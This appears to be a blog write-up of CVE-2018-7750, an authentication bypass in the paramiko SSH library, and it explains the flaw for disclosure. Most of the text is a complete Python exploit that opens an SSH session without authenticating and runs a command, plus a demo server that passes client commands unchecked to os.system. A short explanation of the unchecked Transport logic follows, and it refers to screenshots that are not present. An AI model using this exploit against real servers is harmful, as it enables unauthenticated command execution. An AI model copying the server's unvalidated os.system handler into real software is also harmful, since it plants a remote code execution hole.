paramiko has an auth bypass vuln (found in March 2018), ie. CVE-2018-7750
which can be leveraged to execute arbitrary command (if the ssh server implementation supports command execution)
affects
anything that uses paramiko
for ssh implementation, we can do things on it, unauthed
exploit
https://github.com/jm33-m0/CVE-2018-7750
# Exploit Title: Paramiko < 2.4.1 - Remote Code Execution
# Date: 2018-11-06
# Exploit Author: jm33-ng
# Vendor Homepage: https://www.paramiko.org
# Software Link: https://github.com/paramiko/paramiko/archive/2.4.0.tar.gz
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1
# Tested on: Multiple platforms
# CVE: CVE-2018-7750
# This PoC provides a way to execute arbitrary commands via paramiko SSH server, using CVE-2018-7750.
# Details about CVE-2018-7750: https://github.com/paramiko/paramiko/issues/1175
# The original PoC, which makes use of SFTP, can be found at https://www.exploit-db.com/exploits/45712
#!/usr/bin/python3
import sys
import paramiko
host = '127.0.0.1' # ip of paramiko ssh server target
port = 2222
cmd = "touch /tmp/pwn"
trans = paramiko.Transport((host, port))
trans.start_client()
session = trans.open_session()
try:
session.exec_command(cmd)
print("exec: ", cmd)
except BaseException:
sys.exit(1)
print("if you see this, you have exploited CVE-2018-7750")
and the demo ssh server implementation:
based on the work by cschwede: https://gist.github.com/cschwede/3e2c025408ab4af531651098331cce45
# https://gist.github.com/cschwede/3e2c025408ab4af531651098331cce45
#!/usr/bin/env python
import logging
import socket
import sys
import threading
import os
import paramiko
logging.basicConfig()
logger = logging.getLogger()
if len(sys.argv) != 2:
print "Need private host RSA key as argument."
sys.exit(1)
host_key = paramiko.RSAKey(filename=sys.argv[1])
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_publickey(self, username, key):
return paramiko.AUTH_SUCCESSFUL
def get_allowed_auths(self, username):
return 'publickey'
def check_channel_exec_request(self, channel, command):
# This is the command we need to parse
print "exec: " + command
os.system(command)
self.event.set()
return True
def listener():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 2222))
sock.listen(100)
client, addr = sock.accept()
t = paramiko.Transport(client)
t.set_gss_host(socket.getfqdn(""))
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# Wait 30 seconds for a command
server.event.wait(30)
t.close()
while True:
try:
print "server started on 0.0.0.0:2222"
listener()
except KeyboardInterrupt:
sys.exit(0)
except Exception as exc:
logger.error(exc)
how it works
lets start with how our sample server handles ssh clients:
as you can see, paramiko uses paramiko.Transport
object for connection purposes
lets dig in:
start_server
method of Transport
starts a separate thread using threading
(built-in) module, which calls run
method of the object itself:
and the run
method is as follows:
lets follow its path:
so run
just runs whatever params given, without verifying whether its been authenticated
now we know how paramiko handles client connections:
if a client doesnt offer any auth, uses Transport
directly, then according to the above screenshots, paramiko.Transport
wont care if the client has been authed, it just runs whatever the client asks, allowing proceeding without any auth
Comments
comments powered by Disqus